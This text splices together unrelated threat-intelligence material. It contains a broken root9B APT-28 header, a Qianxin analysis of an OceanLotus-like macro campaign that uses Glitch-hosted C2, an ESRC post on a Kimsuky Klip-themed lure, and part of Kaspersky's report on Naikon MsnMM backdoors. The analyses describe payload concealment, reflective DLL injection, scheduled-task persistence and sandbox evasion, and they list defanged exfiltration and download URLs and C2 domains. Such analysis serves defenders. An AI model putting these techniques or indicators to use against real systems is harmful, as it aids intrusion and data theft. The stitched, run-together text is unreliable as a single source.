APT-28 10root9b.com May 10, 2015 Footnotes: ihttp://www.newsweek.com/2015/05/15/russias-greatest-weapon-may-be-its-hackers-328864.html iihttp://www.bloomberg.com/politics/articles/2014-10-30/security-firms-tie-russian-government-to- utilities-hacks iii http://www.theguardian.com/world/2014/apr/24/vladimir-putin-web-breakup-internet-cia ivhttp://www.bloomberg.com/politics/articles/2014-10-30/security-firms-tie-russian-government- to-utilities-hacks root9B: The Threat Defiance Report
1/20 False flag or upgrade?
Suspected sea lotus uses the Glitch platform to reproduce the attack sample mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA Original Red Raindrop Team Qi Anxin Threat Intelligence Center 2022-01-20 02:01 Included in the topic APT 52 Overview The Qianxin Red Raindrop team continues to pay attention to the attack activities of global APT organizations, including the OceanLotus APT organization.
Recently, a foreign manufacturer Netskope released an analysis report on mht format files (Web archive files) implanted into malware by carrying Office macros , because the attack methods used by the samples mentioned are similar to those of OceanLotus.
The report believes that the attack was carried out by the Ocean Lotus organization.
After in-depth analysis of such samples by the researchers of the Red Raindrop team, it was found that there are some characteristics in the attack process that are different from the previous attacks of Ocean Lotus.
Therefore, the possibility of other attack groups imitating Ocean Lotus cannot be ruled out.
Based on the existing public information, the specific identity of the gang behind the attack cannot be determined for the time being.
In addition, we noticed that such samples use the Glitch platform to deliver subsequent malware, and further found that they are in the same vein as the attack samples disclosed by Qianxin Threat Intelligence Center in December last year .
This article will deeply analyze the samples involved in this attack, sort out other associated attacks, compare with the historical attack methods of OceanLotus, and summarize the similarities and unique characteristics of the attacks.
Such attack samples have the following characteristics: 1.
The macro code will release 32-bit or 64-bit malicious DLL according to the system version, and a piece of random data will be inserted when releasing the malicious DLL 2.
Both the macro code and malicious DLL are obfuscated 3.
The malicious DLL transmits the collected information back to the C2 service hosted by the Glitch platform, and then downloads the 7z-compressed subsequent malware and executes it.
Sample information [1] [2] https://mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA javascript:void(0) 2/20 The collected attack sample information is as follows MD5 file type file name 0ee738b3837bebb5ce93be890a196d3e RAR HS.rar 11d36c3b57d63ed9e2e91495dcda3655 RAR Tai_lieu.rar 204cb61fce8fc4ac912dcb3bcef910ad RAR TL-3525.rar a7a30d88c84ff7abe373fa41c9f52422 RAR Note.rar b1475bdbe04659e62f3c94bfb4571394 RAR CV.rar b2eb3785e26c5f064b7d0c58bdd3abe0 RAR List Product.rar d8fa458192539d848ee7bb171ebed6bd RAR GiftProducts.rar e7ce1874ab781c7a14019b6a6e206749 RAR PaymentRequest.rar eb6cf9da476c821f4871905547e6a2b4 RAR DeliveryInformation.rar f5ea39b70f747e34ae024308298f70ac RAR Document.rar f8d30c45ed9d3c71ec0f8176ddd7fd8f RAR Gift Products.rar The names of the collected attack samples are basically in English, only Tai_lieu.rar is Vietnamese, which means file.
The RAR file contains mht files that carry Office macros.
The sample execution flow is as follows.
3/20 Detailed analysis Take the sample 11d36c3b57d63ed9e2e91495dcda3655 as an example for analysis.
file name Tai_lieu.rar MD5 11d36c3b57d63ed9e2e91495dcda3655 file type RAR RAR contains a mht format file Tailieu.doc with the same name as RAR, which will prompt the victim to enable macros when opened.
4/20 Enabling the macro will open Document.doc with no specific content, just an error message to confuse the victim.
VBA After VBA is obfuscated, in addition to name obfuscation, it also uses Chr function to concatenate key strings, and uses mixed operations of hexadecimal, octal and decimal to obtain constant numbers.
5/20 After enabling the macro, first determine whether it is VBA7 and whether the system version is 64-bit, and save the judgment result in the global variable hPY42J6w.
Create a directory ProgramData\Microsoft Outlook Sync, and copy the original guest.bmp file in the system to the new directory to save the malicious DLL that will be released next.
6/20 Call the function kPW1Jdp7d4eP95n to release the doc file and dll file saved at the end of the mht file.
The file data spliced at the end of the mht file are 32-bit dll, 64-bit dll and doc files in sequence.
The file release sequence is from back to front, so the end of each file data will be followed by a 4-byte data to mark the length of the file data, which can be used to locate the starting position of the file data when releasing.
7/20 The hPY42J6w variable that previously saved the machine version judgment result determines which files are released: if the variable is 1, the file release operation will be performed when the variable v2yHmJl5EO064cV is 0 and 2, and the doc file and 32-bit dll will be released at this time otherwise, if hPY42J6w If it is 2, the doc file and 64-bit dll are released.
The doc file and dll file data spliced at the end of the mht file are not encrypted or encoded, but the way of saving and releasing the dll file data is special.
Doc file data is stored in the file in its complete form and extracted directly upon release.
Dll file data is saved in the following form: first two 4-byte data, and then the dll file removes the remaining data of the first two bytes (ie 0x4D5A) as the magic number of the PE file.
Therefore, the length of the file data saved in mht will be 6 bytes larger than the original file length.
When the Dll file data is released, it first reads 2 placeholders from mht for subsequent repair of the DOS header and removes the remaining original file data of 0x4D5A.
Then insert a piece of random data into the read data for expansion processing.
The position and length of the inserted data are determined by the two 4-byte data mentioned above.
Finally, save the obtained data in the guest.bmp file in the ProgramData\Microsoft Outlook Sync directory.
Then the macro code copies the guest.bmp that saves the data of the dll file to background.dll, changes the first two bytes of the file to MZ, thereby repairs the DOS header, calls the OpenProfile function of background.dll, and deletes the guest.bmp file .
8/20 Finally set the opened mht file attribute to system hidden, then close the file.
Freed DLL The functions of the 32-bit and 64-bit dll released by VBA macros are the same, because a random data will be inserted when the dll file is released, so the hash value of the dll file is not fixed.
file name background.dll MD5 fca9347b37c737930d0aaa976c3e234b (not fixed) file type Win32 DLLs File size 23712256 bytes The released dll file instructions are obfuscated, and there are two export functions, the function names are OpenProfile and SaveProfile.
The functions of the two functions are to achieve persistence by setting scheduled tasks, and to inject subsequent payloads into remote puppet process execution.
The DllMain function of Backgroud.dll stores the key strings and other parameters used by the exported function in global variables.
9/20 The OpenProfile function is called by VBA, which sets up a scheduled task through a COM object to run another exported function of the dll, SaveProfile.
SaveProfile injects the PE file embedded in the dll into the remote puppet process.
The command to create the remote process is rundll32.exe kernel32.dll,Sleep.
10/20 The offset of the address pointed to by the instruction register in the remote thread register context from the starting address of the memory where the injected data is stored is 0x44C20.
After the PE injected into the memory is dumped, the only exported function is the location in the disk file.
11/20 DLL injected into memory file name - MD5 9fd6ae7e608b3b7421f55b73f94b4861 file type Win32 DLLs File size 717824 bytes The released 32-bit dll and the 64-bit dll injected into the remote process are both 32-bit, with the same file size and the same function.
The DLL is injected into memory as an unmapped file, and the only exported function of this DLL is to load itself reflectively in memory.
After allocating memory to load the dll itself, the export function executes the DllMain function twice, and the second parameter of DllMain is 1 and 4, respectively.
Malicious behavior in the Dll is only triggered when the parameter is 4.
12/20 Like background.dll, key strings and other configuration data are first saved in global variables.
Create a subdirectory named Microsoft Edge Download in the C:\ProgramData directory to collect host information, including the MAC address of the network card, user name, host name, all current process names, and file and subdirectory names in the ProgramData directory.
13/20 The collected information is encrypted and sent back to the C2 service hosted by the Glitch platform in a POST request.
The return URL is hxxps://elemental-future- cheetah.glitch.me/afe92a2bd2P .
Then get the follow-up from the C2 with a GET request, and the follow-up payload is transmitted as a 7z compressed file.
Get the subsequent URL as hxxps://elemental-future- cheetah.glitch.me/afe92a2bd2D.
Subsequent payloads are saved in C:\ProgramData\Microsoft Edge Download\properties.bin.
The malware in the 7z archive is decompressed and saved in the C:\ProgramData\Microsoft Edge Download directory.
The subsequent payload is executed by setting a scheduled task through the COM object, and the persistence of subsequent malware is achieved at the same time.
The name of the scheduled task is Chrome Update.
14/20 Since C2 is currently inaccessible, subsequent malware cannot be obtained for analysis.
Use the calculator program (calc.exe) in the system to simulate the acquired subsequent loads to display the set scheduled tasks.
The dll also has a feature that uses GetCurrentThread/ GetCurrentProcess and WaitForSingleObject instead of Sleep to perform hibernation operations.
activity association early samples 15/20 The earliest such attack samples can be traced back to August 2021.
The early sample information is as follows: MD5 file type file name VT upload time 6d0ab5f4586166ac3600863bc9ac493e Win32 DLLs 2zofrncu.dll 2021/08/23 12:52:31 UTC 0bd0f1dd8b03c11b3d59da2c5fba2e45 Win32 DLLs mslog.dll 2021/08/26 03:55:13 UTC cc4a9d5248095e64c1f22e8a439416cc Win64 DLLs mslog64.bin 2021/08/26 03:57:57 UTC mslog.dll and mslog64.bin correspond to the 32-bit dll and 64-bit dll released in the aforementioned attack process, respectively.
2zofrncu.dll is the PE that mslog.dll injects into the remote process.
The structure and operation process of the three samples are the same as the dll samples involved in this attack.
The relevant URLs are as follows: URL Function hxxps://immense-plastic-pullover.glitch.me/T812P Return collected information hxxps://immense-plastic-pullover.glitch.me/T812D download follow-up It is worth noting that the PE injected into the memory during the entire attack process does not land on the disk, but the sample 2zofrncu.dll uploads VT earlier than its superior sample mslog.dll.
Furthermore, all three samples uploaded VT from Vietnam by the same uploader.
Combining the above information, we guess that these three samples may be early test samples.
Previously disclosed attack samples The samples involved in this attack are strongly related to the attack samples disclosed by the Qi Anxin Threat Intelligence Center in December last year , and can be considered to be from the same attack group.
The first is a misinformation document with the same content used in both campaigns.
[
2] 16/20 Then the code obfuscation method used by the malicious dll is the same, and the running process is the same: (1) A subdirectory with a name related to Microsoft will be created in the C:\ProgramData directory (2) Collect host information, encrypt it and send it back to the C2 service program hosted on the Glitch platform as a POST request.
The returned URL format is hxxps://[xxx]-[xxx]- [xxx].glitch.me /[xxx]P (3) Then obtain the subsequent payload compressed by 7z from C2 and execute it.
The subsequent URL format is hxxps://[xxx]-[xxx]-[xxx].glitch.me/[xxx]D. Comparison with the historical attack method of Ocean Lotus The attack sample uses some historical attack methods of OceanLotus.
OceanLotus has used mht files carrying malicious macros to release the KerrDown downloader in the past attacks .
Similarly, the malicious macros will choose to release 32-bit dll or 64-bit dll according to the system version.
The dll used as the KerrDown downloader also uses pictures The suffix of the format file is saved on disk.
In addition, the instruction obfuscation method used by the malicious dll involved in this batch of attack samples is similar to that of Ocean Lotus, and the reflective loading method is also used to load the PE in the memory during the sample execution process.
The differences from the previous attacks of Ocean Lotus are: (1) The file name of the error message displayed by the sample is inconsistent with the original mht file name, and it is impossible to determine whether the attacker is negligent or deliberate.
And the file data to be released is directly spliced at the end of the mht file without encryption or encoding processing.
OceanLotus often saves the file data to be released in an encrypted or encoded form.
[
3] 17/20 (2) The reflection loading method used by the sample is different from that of the sea lotus tissue.
OceanLotus often uses shellcode as the loader for reflective loading of PE, and this batch of attack samples uses the exported function of the loaded dll as the loader.
The above differences may be due to either the Ocean Lotus group trying new attack methods, or the attack activities carried out by other groups.
Due to the lack of pertinence in the sample name, the C2 service is hosted on the public platform Glitch, and the URL fails to obtain subsequent malware.
At present, the specific identity of the attacker cannot be clearly identified, and further clues and information are to be discovered later.
Summarize This type of attack sample uses malicious macros carried by mht files to implant malicious software on the victim host.
The methods used in the attack process are similar to those of the OceanLotus organization, but there are also some characteristics that are different from the historical attack activities of OceanLotus.
Although it cannot be attributed to a specific attack group for the time being, by sorting out a series of related attack activities, it can be found that the attackers behind them are constantly improving their attack methods and updating attack weapons.
No domestic users have been affected by this attack, but precautions are essential.
The Qianxin Red Raindrop team reminds users not to open links of unknown origin shared on social media, not to click and execute email attachments from unknown sources, not to run unknown files with exaggerated titles, and not to install apps from informal sources.
Do timely backup of important files, update and install patches.
If you need to run and install applications of unknown origin, you can first use the Qianxin threat intelligence file in-depth analysis platform (https://sandbox.ti.qianxin.com/sandbox/page) to determine.
Currently, it supports in- depth analysis of files in various formats including Windows and Android platforms.
At present, the full line of products based on the threat intelligence data of Qianxin Threat Intelligence Center, including Qianxin Threat Intelligence Platform (TIP), Tianqing, Tianyan Advanced Threat Detection System, Qianxin NGSOC, Qianxin Situational Awareness, etc.,
have already supported this Accurate detection of class attacks.
18/20 IOCs MD5 0ee738b3837bebb5ce93be890a196d3e 11d36c3b57d63ed9e2e91495dcda3655 204cb61fce8fc4ac912dcb3bcef910ad a7a30d88c84ff7abe373fa41c9f52422 b1475bdbe04659e62f3c94bfb4571394 b2eb3785e26c5f064b7d0c58bdd3abe0 d8fa458192539d848ee7bb171ebed6bd e7ce1874ab781c7a14019b6a6e206749 eb6cf9da476c821f4871905547e6a2b4 f5ea39b70f747e34ae024308298f70ac f8d30c45ed9d3c71ec0f8176ddd7fd8f 6d0ab5f4586166ac3600863bc9ac493e 0bd0f1dd8b03c11b3d59da2c5fba2e45 19/20 cc4a9d5248095e64c1f22e8a439416cc URL hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2D hxxps://elemental-future-cheetah.glitch.me/afe92a2bd2P hxxps://elemental-future-cheetah.glitch.me/559084b660P hxxps://elemental-future-cheetah.glitch.me/02d9169d60D hxxps://elemental-future-cheetah.glitch.me/02d9169d60P hxxps://confusion-cerulean-samba.glitch.me/e1db93941c hxxps://confusion-cerulean-samba.glitch.me/0627f41878D hxxps://confusion-cerulean-samba.glitch.me/0627f41878P hxxps://confusion-cerulean-samba.glitch.me/192f188023 hxxps://confusion-cerulean-samba.glitch.me/2e06bb0ce9 hxxps://confusion-cerulean-samba.glitch.me/55da2c2031 hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4D hxxps://torpid-resisted-sugar.glitch.me/fb3b5e76b4P hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1D hxxps://torpid-resisted-sugar.glitch.me/83a57b42f1P hxxps://torpid-resisted-sugar.glitch.me/5db81501e9P hxxps://immense-plastic-pullover.glitch.me/T812D hxxps://immense-plastic-pullover.glitch.me/T812P Reference link [1] https://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archive- files 20/20 [2] https://ti.qianxin.com/blog/articles/Obfuscation-techniques-similar-to-OceanLotus/ [3] https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
1/5 February 16, 2022 North Korea-linked APT attack found disguised as a digital asset wallet service customer center blog.alyac.co.kr/4501 Detailed content body title North Korea-linked APT attack found disguised as a digital asset wallet service customer center Malware analysis report by pill 4 2022.
2.
16.
14:55 main text Hello?
This is the East Security Security Response Center (ESRC).
A malicious file disguised as the Klip customer center was recently discovered, and users need to be extra careful.
https://blog.alyac.co.kr/4501 https://blog.alyac.co.kr/category/EC9585EC84B1ECBD94EB939C20EBB684EC849D20EBA6ACED8FACED8AB8 2/5 Klip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary of Kakao.
The file found this time was distributed under the file name [Klip Customer Center] Mistransmission_Token Resolution_Guide.doc.
[
Figure 1] Screen inducing users to click the content use button The file contains malicious macros, convincing users to click the Enable Content button, claiming that the document is protected.
If the user clicks the use content button, it is written like a file sent from the actual Klip customer center, causing the user to mistake it for a real normal file.
3/5 [Figure 2] Klip customer center camouflage file However, that file contains the macro code, and the macro runs in the background.
4/5 [Figure 3] Macros included in malicious files When the macro is executed, the file is dropped in xml format, and the dropped file is automatically executed and then attempts to connect to the CC.
[
Figure 4] xml file dropped after macro execution However, at the time of analysis, access to the CC server was not possible, so further analysis was not possible.
5/5 This threat has been identified as an extension of the Smoke Screen campaign, which is one of the three major threats of Thallium (also known as Kimsuky).
IoC hxxp://asenal.medianewsonline[.
]com/good/luck/flavor/list.php?query1 hxxp://asenal.medianewsonline[.
]com/good/luck/flavor/show.php Currently, the pill is being detected as Trojan.
Downloader.
DOC.Gen .
Attributionnon-profitchange prohibited https://creativecommons.org/licenses/by-nc-nd/4.0/deed.ko
THE MsnMM CAMPAIGNS The Earliest Naikon APT Campaigns Kurt Baumgartner, Maxim Golovkin May, 2015 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White2 For full indicator and other details, please contact intelreportskaspersky.com CONTENTS INTRODUCTION ............................................................................................................3 SHARED EXPLOIT GENERATION KIT ..........................................................................5 SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS ........................................................6 Similar strings .......................................................................................................6 Shared infrastructure ..........................................................................................7 Correlating Target Profiles with spear-phish and Decoy Content ...........7 NAIKON APT MSNMM CAMPAIGN BACKDOORS ANDLATERAL MOVEMENTTOOLSET ......................................................................11 SslMM .................................................................................................................. 11 WinMM .................................................................................................................13 exe_exchange (used inattacks prior to 2012) ..........................................14 INJECTv1/INJECTRESOURCE .........................................................................14 The xsPlus/nokian backdoor and keylogger ................................................14 NAIKON AND MINOR LINKS WITH APT30 ..............................................................15 Sys10 ...................................................................................................................16 WininetMM/Sakto .............................................................................................. 17 SECOND STAGE TOOLS ..............................................................................................18 CUSTOM HDOOR .......................................................................................................19 TARGET AND VICTIM PROFILES ...............................................................................21 SPEAR-PHISH, DROPPED FILES, WEBBROWSER INJECTION ........................... 22 APPENDIX A: MsnMM SPEAR-PHISH ANDDECOY CONTENT ........................... 28 winMM-related Dropped Decoy Documents ..............................................32 APPENDIX B: KASPERSKY LAB VERDICT NAMES .................................................. 43 APPENDIX C: MD5 REFERENCE SET ........................................................................ 46 SslMM .................................................................................................................. 46 WinMM ................................................................................................................ 46 WininetMM/Sakto ............................................................................................. 46 Injectv1/InjectResource ................................................................................... 46 Exe_Exchange ................................................................................................... 46 Sys10 .................................................................................................................... 46 xsPlus (nokian) and plugin ...............................................................................47 APPENDIX D: C2 (DOMAIN) REFERENCE SET ........................................................ 48 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White3 For full indicator and other details, please contact intelreportskaspersky.com INTRODUCTION Over time, theNaikon APT appears to have used specific toolsets against organizations within adesignated country, as though each campaign was focused onone country.
There issometimes crossover between campaigns inseveral ways: thebackdoors they deliver, theinfiltration techniques, and theoverall infrastructure.
Backdoor functionality can also cross campaigns and tools.
For example, sometimes we see an inject variant dropping asys10 backdoor.
Or anaikon backdoor dropping ararstone backdoor.
Again, this particular actor isresponsible fortheMsnMM and Naikon campaigns deploying thefollowing backdoors and tools: sslMM winMM exe_exchange wininetMM/sakto inject sys10 xsControl/naikon and plugins rarstone second stage tools The Naikon group also deployed alesser-known set of second stage tools.
They mixed together legitimate system administration tools with offensive network reconnaissance tools, including acustom network and service scanner and an attack codeset based onold Honker Union codebase shared onChinese-speaking forums.
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See Second Stage Tools.
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data/reports_final/0161.txt
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See Second Stage Tools.
For years, Naikon downloaders/backdoors were delivered to victim systems with kit- produced CVE-2012-0158 spear-phish.
This exploit builder kit was shared amongst multiple APTs, because we see thesame exploits dropping tools from various groups.
Many of these exploit attachments were blocked by our advanced exploit protection (AEP) oncustomer systems inVietnam, Myanmar, thePhilippines, and organizations related to theenergy sector inthese and other ASEAN nations.
Some of these backdoors and spear-phish activities also showed up intheHardore Charlie CEIEC dump.
InJan 2014, we observed insome targets theincrease ofright-to-left- override (RTLO) naming schemes forinitial payload delivery.
In addition to its custom toolset, it appears to test freely-distributed tools inDecember 2013, it pushed out The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White4 For full indicator and other details, please contact intelreportskaspersky.com Everything32 to victim systems, and TeamViewer was used as well.
It islikely that thegroup faced difficulties when it came up against anti-malware products and tried abusing legitimate tools foranti-malware evasion.
Finally, this threat actor deploys acustom pdf binding tool, to add to its effective but low-tech toolset.
The Naikon attackers can be, and infact have been precise insocial-engineering their targets.
Data collection prior to an attack may have included thefollowing data points: full names email addresses and status (active or inactive) date of birth and age interests incurrent events nationality gender previous email and social network communications to and from atarget language spoken Victims of theearly campaigns were located mostly throughout Myanmar, Vietnam, Singapore, Laos, Malaysia, and thePhilippines.
There are other locations where Naikons victims can be found, but these countries stand out.
To get into target networks, theNaikon APT relied onemail as an attack vector.
Itfirst compromised victim systems using common spear-phishing techniques, such as cve- 2012-0158 exploit attachments, attachments altered with RTLO techniques, and acom- bination of icon-spoofing and name padding forexecutables.
The MsnMM campaigns featured ripped images and documents re-used forspear-phish decoys, and we see that technique reapplied throughout other Naikon APT campaigns.
The winMM components were also delivered to Myanmar victims throughout mid-2013 using RTLO and icon- spoofing techniques and sometimes even simpler icon spoofingdouble extensionextra spacing inattachment filenames.
For example, many of theBackdoor.
Win32.MsnMM.i (winMM) executable filenames maintained almost 200 spaces, looking like this: letter to Gov office.doc .exe The Naikon APT used multiple backdoors presenting avariety of behaviors over time, but clusters of indicators were fairly consistent into 2015.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White5 For full indicator and other details, please contact intelreportskaspersky.com SHARED EXPLOIT GENERATION KIT Its interesting that what appear to be multiple campaigns and crews all use akit that generates CVE-2012-0158 exploits embedded with arbitrary backdoors forspear- phishing.
One of theinteresting characteristics of theNaikon APTs kit-produced shell- code isits runtime function offset calculations and control flow are built to jump past behavior-based protection and sandbox analysis.
Each of thewin32 api shellcode calls are carefully executed to land just past function hot patch space and prologues, evading user mode trampolines and hooks.
MsnMM, Naikon and Rarstone backdoors were generally delivered with stock 0158 exploits.
Some dropped iph.bat and an iExplorer.exe that began with aWMcal parameter and profile.dat executable blob loaded into arunning IE process.
Other APTs use this kit as well.
We found Stone Panda Poison Ivy samples delivered with thesame CVE-2012-0158 exploits, dropping iph.bat and iExplorer.exe, and running theiExplorer.exe WMcal executable filename and parameter.
Finally, we found another exploit builders template used to attack Korean-speaking targets.
It was used across this group and others forbuilding CVE-2012-0158 files, sharing thecommon author Tran Duy Linh.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White6 For full indicator and other details, please contact intelreportskaspersky.com SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS Multiple Naikon tools used inmultiple campaigns shared strings, functionality, adeployment and content focus onASEAN organizations and other organizations doing business with them, and theinfrastructure itself.
Lets examine some of thetoolsets shared strings and functionality, then move onto shared infrastructure.
Similar strings While theNaikon backdoor maintained theuser-agent string NOKIAN95/WEB, it also maintained adebug path f:\MyProjects\xServer\Release\xServer.pdb Also, theNaikon backdoors matching management software iscalled xsControl.
Plugins fortheNaikon backdoor included ascreenshot grabber named xsAdv.dll, and asingle export XS_Screencap.
This debug path inNaikon backdoors isvery similar to thedebug path maintained inRarstone backdoors: g:\MyProjects\xsFunction\Release\DLL.pdb The MsnMM campaign backdoors all maintain an MM internal name, and thefunctionality changes when comparing them: WinMM WininetMM SslMM A more recent oddity from this group includes aWinMM dropper with theinternal name Zhixin, creating arecently compiled Sys10 backdoor.
Some MM executables maintained debug strings across versions and families: J:\chong\new\Release\SslMM.exe and J:\chong\nod\Release\SslMM.exe The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White7 For full indicator and other details, please contact intelreportskaspersky.com Shared infrastructure Now, lets take alook at some of theshared infrastructure that helps to tie all ofthesecampaigns together.
MsnMM backdoors and naikon backdoors share por- tions ofinfrastructure across campaigns.
For aquick example, early msnMM back- doors like sslMM, and one of thelater tools, exe_exchange, share some domains with thenokian95 (naikon) and sys10 backdoors.
There ismuch crossover.
Here, you can see atable recording domains that are shared across thebackdoors forcommand and control infrastructure.
exe_exchange sys10 winMM sslMM wininetMM/ sakto xsPlus/naikon ahzx.eicp.net yes yes yes mncgn.51vip.biz yes yes yes bkav.imshop.in yes yes ubaoyouxiang.gicp.net yes yes yes yes googlemm.vicp.net yes yes myanmartech.vicp.net yes yes yes Correlating target profiles with spear-phish and decoy content One of themost striking characteristics of this APT isthat its targeting interest isrevealed by its spear-phish and decoy content.
Malicious actors of all stripes, including cybercriminals, have forat least thelast ten years abused hot topics intheir social-engineering content to better attract and mass-exploit victim sys- tems.
Its apretty worn-out discussion.
What isdifferent about theNaikon APTs useof hot topics inspear-phish and decoy content isthat reveals its specific victims and how these change over time.
Precision social engineering seems to be an ele- vated skill set forthegroup.
A few of themost interesting examples of such content include: aUN discussion andvote onnuclear proliferation and disarmament, theMH370 flight, and construction ontheRaytheon-built National Coast Watch Center inPH.
For example, inthesecond week of October 2012, during thegangs intense ongoing focus onSE Asian countries like Cambodia and its diplomats, we find awinMM backdoor detected as Trojan.
Win32.Agent.udtc inNew York City.
This verdict identified theNaikon The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White8 For full indicator and other details, please contact intelreportskaspersky.com APTs backdoor onthevictim system.
The timing isuncanny because, inthat same week speeches and views onnuclear disarmament and non-proliferation were presented by SE Asian country delegates to theUnited Nations inNew York City.
Anexample of such atalk ishere anaikon decoys content was strikingly similar: MsnMM campaigns most commonly presented spear-phish exploits targeting CVE- 2012-0158.
A listing of screenshots inAppendix A reveals thevariety of content and themes, all related to events and topics intheASEAN region.
Example titles include: Letpadaung copper mine.doc Myanmar Wanbao to commence construction of Letpadaung project December 2014 nuclear agreement burma.doc Burma Signs New Nuclear Deal WithIAEA September 2013 ALP Statement onPresent Illegal Bangali Problem inside Arakan.doc ALP statement onpresent illegal Bangali problems inside Arakan [pdf] December 2012 Calendar Misslao 2013 Free.doc Miss Lao Calendars January 2014 ASEAN and Partners Firmly Committed toNarrowing theDevelopment Gap.doc ASEAN and Partners Firmly Committed to Narrowing theDevelopment Gap April 2013 refer to the11th ACD Ministerial Meeting.doc Asia Co-operation Dialogue eyespeace December 2013 Asias Military Developments.doc Asias military developments November 2013 http://www.un.org/disarmament/special/meetings/firstcommittee/67/pdfs/1120Oct20GD20Cambodia.pdf http://www.un.org/disarmament/special/meetings/firstcommittee/67/pdfs/1120Oct20GD20Cambodia.pdf http://www.myanmarwanbao.com.mm/en/our-2014-news/45-december-2014/128-official-press-release-of-myanmar-wanbao.html http://www.myanmarwanbao.com.mm/en/our-2014-news/45-december-2014/128-official-press-release-of-myanmar-wanbao.html http://www.voanews.com/content/burma-signs-new-nuclear-deal-with-iaea/1751469.html http://www.voanews.com/content/burma-signs-new-nuclear-deal-with-iaea/1751469.html http://www.arakanalp.com/wp-content/uploads/2012/10/ALP-statement-on-present-illegal-bangali-problems-inside-Arakan.pdf http://www.arakanalp.com/wp-content/uploads/2012/10/ALP-statement-on-present-illegal-bangali-problems-inside-Arakan.pdf http://laoconnection.blogspot.com/search/label/Lao20Calendars http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.talkvietnam.com/2013/12/asia-co-operation-dialogue-eyes-peace/ http://www.talkvietnam.com/2013/12/asia-co-operation-dialogue-eyes-peace/ http://www.aspistrategist.org.au/asias-military-developments The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White9 For full indicator and other details, please contact intelreportskaspersky.com The following examples content was crafted to appear like alegitimate international agreement discussion.
After themalicious document isopened and successfully exploits CVE-2012-0158 onthevictim workstation, theexploit code drops and opens this decoy Word document: This next example iswritten with theLaotian Phetsarath OT font, adecoy attempt to be alegitimate Daily News Brief from theLaotian Foreign Ministry of Affairs.
Itdemonstrates thegroups intentions to hit targets inLaos: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White10 For full indicator and other details, please contact intelreportskaspersky.com Appendix A contains many more example document titles and screenshots.
Thethemes and content that would appeal to politically-interested individuals invarious parts oftheworld quickly become obvious.
In addition to ahigh volume of files exploiting CVE-2012-0158, theMsnMM attackers forabrief period used RTLO (right to left override) techniques, and then attachments exploiting CVE-2010-3333.
An example of RTLO that creates and opens this decoy document to camouflage its malicious background activity, then dropping and executing MsnMM backdoors onits victim system: UNFC_Statement_final_rcs.pdf The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White11 For full indicator and other details, please contact intelreportskaspersky.com NAIKON APT MSNMM CAMPAIGN BACKDOORS ANDLATERAL MOVEMENTTOOLSET SslMM MD5 Filename File Size Compilation date Linker version 7b1199523a662a3844ba590f83b56dae - temp\conime.exe 77,824 bytes 2013:01:31 01:25:3800:00 6.0 The MsnMM gang built and released many more variants of their sslMM creation.
Thecode isafull-featured backdoor.
Each variant of this tool starts by attempting tocreate asocket, and then creates anew thread implementing afairly complicated keylogging facility not often seen, using Windows Keyboard Accelerators.
Online code demonstrates thetechnique here: http://thronic.com/Win3220Keylogging/ The backdoor retrieves alarge number of victim system data points, which it then uses to check into its hardcoded C2.
The backdoor reports system identification information both to present thevictims identifying information and to fingerprint thesystem forasset management: OS version Service pack information Processor speed System name Logged-on user name OS install date One of its more interesting features istheability to fetch and use certificates from theMy store onWindows systems.
The My certificate store iscreated onaper- user basis, and this iswhere users certificates are stored.
It isreserved foreach userforsigning and decrypting data and encrypting network communications.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White12 For full indicator and other details, please contact intelreportskaspersky.com Feature list: Victim fingerprinting and performance sensitivity system configuration collection Persistence immediately identifying theStart Menu Startup directory and dropping aLNK to its own executable disguised as aOffice Start, Yahoo Talk, MSN Gaming Z0ne, or MSN Talk shortcut Configurable network settings both aprimary and backup C2 string ishard-coded ineach backdoor.
At this point, we are aware of almost 50 domains and unique IP addresses used to host C2 Keylogging facility Windows Accelerators with hidden window and lengthy Accelerator table Flexible network connectivity proxy support foruse with victim systems situated behind isolated networks GET and POST network code forexfiltrating system information Log file capabilities File search and file write primitives identifying and collecting sensitive ondisk information Download and execute further arbitrary downloads Arbitrary inter-process launch and communication through named pipes Process privilege and token adjustments Anti-malware kill-process identification and termination Digital Certificate stealing and reuse forstealth SSL communications Network server listener The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White13 For full indicator and other details, please contact intelreportskaspersky.com WinMM MD5 Filename File Size Compilation date Linker version c8c81cca4645e71213f2310cec6c277d - temp\wuauc1t.exe 118,784 bytes 2012.11.01 00:53:49 6.0 WinMM isafull-featured, simple backdoor.
Its first actions upon installation are to col- lect user and system data and report them back to theC2 over http.
It uses NetUser- GetInfo to identify that it isrunning under an Admin account onthelocal system, then retrieves thesystem name and theversion of theoperating system that isrunning, including its service pack, and collects thesystem install date from theregistry: \\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\InstallDate These values are built into asingle string forreporting.
SslMM also maintains this code chunk and functionality but does not immediately invoke it like winMM.
Also interesting and different from sslMM, are thedecoy Word documents dropped by many of thewinMM droppers.
Images of these documents areshown intheAppendix.
